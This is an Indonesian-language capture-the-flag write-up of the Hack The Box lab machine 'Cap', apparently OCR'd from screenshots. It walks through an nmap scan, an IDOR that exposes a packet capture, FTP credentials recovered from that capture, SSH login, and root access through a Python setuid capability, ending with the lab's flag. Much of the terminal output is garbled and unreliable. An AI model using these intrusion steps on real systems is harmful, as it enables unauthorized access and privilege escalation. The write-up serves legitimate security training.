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Report:

Start - FootHold - User - Root

Machine cap memiliki kerentanan pada web servernya yang mana bisa dieksploitasi
dengan IDOR dan mendapatkan user credential yang bisa dimanfaatkan untuk
mendapatkan akses pada servernya.

Start

Command : ip a

fhome/kali

[s] LDUF‘EAI K,UP,LO EF' 55536 isc ate UNKNOWN group default glen 1000
link/loopbac @ brd 00:00 j
inet /8 scope host lo
valid_1ft ver preferred_ 1+T forever
ineteé /1Jq 5C pn host nop »

| mtu 1508 gdisc fg_codel state UP group default glen 1000
brd FF.ft.fF:FF:ff:FF
scope global dynamic noprefixroute eth@
valid_1ft 1705%sec preferred_lft 17@5sec
: link noprefixroute
er
[ E D— IRIER,B CAST, M * mtu 1500 gdisc nogueue state group default
llnkfethex i rd ff:ff:ff:ff:ff:ff
inet scope global docker®
valid_1ft forever preferred_lft forever

Penting untuk kita mengetahui IP kita untuk pengerjaan kita kedepannya, tetapi pada mesin
ini kita tidak memerlukan IP kita dikarenakan pada mesin HTB biasanya kita sudah
mengetahui Ip Server yang ingin kita tuju.

IP SERVER TUJUAN

Target IP Address

10.10.10.245

Ini adalah IP Server tujuan yang akan kita eksploitasi.

Command: nmap 10.10.10.245 -p--T5

fhnmefkall
18.18.18@. T5

PORT  STATE SERVICE VERSION

21/tcp open fTtp '

7 cp open ssh H 8.2pl1 Ubuntu 4ubuntu®.2 (Ubuntu Linux; protocol 2.0)
open http gunicorn

-p- berfungsi agar kita bisa melihat semua port tanpa terkecuali dan -T5 mempercepat
proses scanning dengan resiko akan lebih mudah diketahui. kami mendapati ada nya 3 port
yang dimiliki oleh webserver ini, dan langsung mencoba untuk membuka website (Http)



FootHold

Web Discovery
® | @ HTB Account X Dashboard X @ Hack The Box:: Hack The x  Security Dashboard

<« cG @ O & 10.10.10.245

Kali Linux # KaliTools # KaliDocs ¥ KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Dashboadrd Home | Dashboard

Security Events 24H Failed Login Attempts 24H Port Scans (Unique IPs) 24H

1,560 +15% 357 -10% 27 +28%

© Copyright 2021. Allright reserved. Template by Colorlib.

Kami mendapati website yang berisikan security snapshot yang bisa kita ambil dan
download. tetapi setelah kami eksplor websitenya kami menyadari bahwa ada yang janggal
dimana setiap kami klik halaman yang sama nama website berubah dari yang tadinya
10.10.10.245/data/1 berubah menjadi 10.10.10.245/data/2 dan semakin bertambah.

am P eE]]
@ HTB Account CE r @ Hack The B ack Security Dashboard

O A& 10.10.10.245/data/

Kali Linux & Kali Tools = KaliDocs X Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

Dashboard Home [ Dashboard

Value

Data Type

Number of Packets o
Number of IP Packets o
Number of TCP Packets o

o

Number of UDP Packets



’Q - ' "‘E\v L 2 3 4 & ¥ 0D &01w0146 ) A @ 124 a ¢G

5] & HTB Account X  Dashboard % @ Hack The Box : Hack The x  Security Dashboard o
U & 10.1010.245/c

Kali Linux & KaliTools ¢ KaliDocs ¥ KaliForums X Kali NetHunter Exploit-DB Goagle Hacking DB OffSec

Dashboard Home /[ Dashboard

Data Type Value
Number of Packets 0
Number of IP Packets 0
Number of TCP Packets 0
Number of UDP Packets 0

Kami menyimpulkan bahwa parameter id yang ada pada website bisa diubah-ubah menjadi
angka yang kita inginkan, ini merupakan salah satu vulnerabilities IDOOR yang mana
pengguna bisa mengakses halaman lain website dengan memanipulasi nama dari website
(Biasanya parameter id).

® & HTB Account X Dashboard X @ Hack The Box :: Hack The X | Security Dashboard

<« C @ Q A 10.10.10.245/data/0

Kali Linux § KaliTools # KaliDocs ¥ Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Dashboard  Home / Dashboard @ Nathan

Data Type Value
Number of Packets 72

Number of IP Packets 69

Number of TCP Packets 69

Number of UDP Packets 0

kami mendapatkan 10.10.10.245/data/0 yang mana ada sebuah data yang dapat kita lihat
yang merupakan trafic dari website ini, kamipun melihat data itu menggunakan wireshark.



Awalnya tidak ada apa-apa tetapi setelah kami melihat lebih dalam ada FTP request yang
berisikan Username Nathan dan Passwordnya yang kami spekulasi merupakan User
credential dari server ini, tanpa pikir panjang kami langsung coba login ssh untuk
mendapatkan usernya.

EmPO| 2 3 y:

0.peap

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADAO e BE@ « «»>n«>»H@=0080o0 @

] WELE filte <Ctrl- B -]+

Time Source Destination Protocol Length Info
31 2.624570 192.168.196.1 192.168.196.16 TCP 54411 — 21 [SYN] Seg=0 Wil 4240 Len=0 MSS=1460 WS=256 SA
32 2.624624 192.168.196.16 192.168.196.1 TCP 21 — 54411 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=144
33 2.624934 192.168.196.1 192.168.196.16 TCP 62 54411 - 21 [ACK] Seq=1 Ack=1 Win=1051136 Len=0
34 2.626895 192.168.196.16 192.168.196.1 FTP 76 Response: 220 (vsFTPd 3.08.3)
35 2.667693 192.168.196.1 192.168.196.16 TCP SO BAAS ALKl Segal Ack=21 Win=1051136 Len=0
36 4.126500 192.168.196.1 192.168.196.16 FTP I 69 Request: USER nathan
37 4.126526 192.168.196.16 192.168.196.1 TCP BC 2T = SafIT LACKRI Sou- Ack=14 Win=64256 Len=0
38 4.126630 192.168.196.16 192.168.196.1 FTP 90 Response: 331 Please specify the password.
39 4.167701 192.168.196.1 192.168.196.16 TCP s 5 = . in=1051136 Len=0
40 5.424998 192.168.196.1 192.168.196.16 FTP 78 Request: PASS Buck3tH4TFERM3!
41 5.425034 192.168.196.16 192.168.196.1 TCP 56 21 — 54411 [ACK] Seq=55 Ack=36 Win=64256 Len=0
42 5.432387 192.168.196.16 192.168.196.1 FTP 79 Response: 230 Login successful.
43 5.432801 192.168.196.1 192.168.196.16 FTP TZ Request: Sro]
44 5.432834 192.168.196.16 192.168.196.1 TCP 56 21 — 54411 [ACK] Seq=78 Ack=42 Win=64256 Len=0
45 5.432937 192.168.196.16 192.168.196.1 FTP 75 Response: 215 UNIX Type: L8
46 5.478790 192.168.196.1 192.168.196.16 TCP 62 54411 . 21 [ACK] Seq=42 Ack=97 Win=10560888 Len=0
47 6.309628 192.168.196.1 192.168.196.16 FTP 84 Request: PORT 192,168,196,1,212,140
48 6.309655 192.168.196.16 192.168.196.1 TCP 56 21 — 54411 [ACK] Seq=97 Ack=70 Win=64256 Len=0
49 6.309874 192.168.196.16 192.168.196.1 FTP 107 Response: 200 PORT command successful. Consider using PA:
50 6.310514 192.168.196.1 192.168.196.16 FTP 62 Request: LIST
51 6.311053 192.168.196.16 192.168.196.1 FTP 95 Response: 150 Here comes the directory listing.

wire (544 bits), 68 bytes captured (544 bits)
vl

o

© o

196.1, Dst: 8.196 3
Transmission Control Protocol, Src Port: 54399, Dst Port: 80, Seq: @, Len: @

Packets: 72 - Displayed: 72 (100.0%) Profile: Default



User

Command : ssh nathan@10.10.10.245

245
nathanal@.l1l8.18.245"'s p yord:
Welcome to Ubuntu .2 LTS (GNU/Linux 5.4%.@8-80-generic

Documentatiomn: 1ttps: /fhelp.ubuntu.com
Man g andscape.camnoni

aport: i s: /fubuntu. comsadvan

m imformation as o© Sat Dec 28 B6:29:17 UTC 2824

1@.1@.1@.2
dead: beef :

alied immediately.
standard security updat
updates rum: apt list -—upgradable

ilable updates is more than

The list of avai
ew s run: sudo apt upda

To check for n

Last 1 27 11:21:27 2021 from 10.10.14.7
nathan ]
total

root
nathan matham
nathan matham 3 . A .bashrc
nathan matham
nathan matham 8607 d .profile
root root
nathan

Command ssh berguna untuk kita bisa login dan mengakses user dari server untuk privilege
escalation kedepannya, setelah kami masukan pun akhirnya kami berhasil masuk ke user
nathan dan mendapatkan flag yang ada di user.txt. Is -al berguna untuk kita bisa melihat
directory dan file apa yang dimiliki oleh server, cat berguna untuk mendisplay informasi yang
ada pada sebuah file.



Privilege Escalation

Command: getcap -r / 2> /dev/null

nathangcap:~$ getcap -r / 2> /dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
Jusr/bin/ping = cap_net_raw+ep

J/usr/bin/traceroute6.iputils = cap_net_raw+ep
Jusr/bin/mtr-packet = cap_net_raw+ep
Jusr/1ib/x86_64-1linux-gnu/gstreamerl.@/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

command ini berguna untuk memeriksa apakah ada file yang memiliki capabilities tertentu,

yang mungkin memberikan hak akses khusus kepada pengguna. Disitu disebutkan bahwa

{usr/bin/python3.8 berkapabilitas untuk mengubah setuid dari user sehingga kami mencoba
menggunakan script python untuk mengganti id dari user.

Command: python3
import os

os.setuid(0)
os.system(“/bin/bash”)

nathangcap:~$ python3

Python 3.8.5 (default, Jan 27 2021, 15:41:15)

[GCC 9.3.0] on linux

Type "help", "copyright", "credits" or "license" for more information.
>>> import os

>>> 0s.setuid(0)

>>> os.system("/bin/bash")

rootacap:~# |j

dengan script tersebut kami berhasil untuk memasuki Root dari server ini, dengan
mengubah uid menjadi 0 yaitu root sendiri.

Command: Is -l /root

rootocap:~# 1s -1 /root

total 8

-r—— 1 root root 33 Jan 5 12:46 root.txt
drwxr-xr-x 3 root root 4096 May 23 2021
rootojcap:~# cd root

bash: cd: root: No such file or directory
rootgcap:~# cd /root

rootocap: # 1s

root.txt

rootocap: # cat root.txt
abcBecabe34a233ed793e78ef777e8c8

setelah itu kami lakukan enumerasi lokal pada root dan mendapatkan flag dari root.txt.
command Is berguna untuk melihat directory dan file apa saja yang terdapat serta cat untuk
mendisplay isi tampilan dari sebuah file.



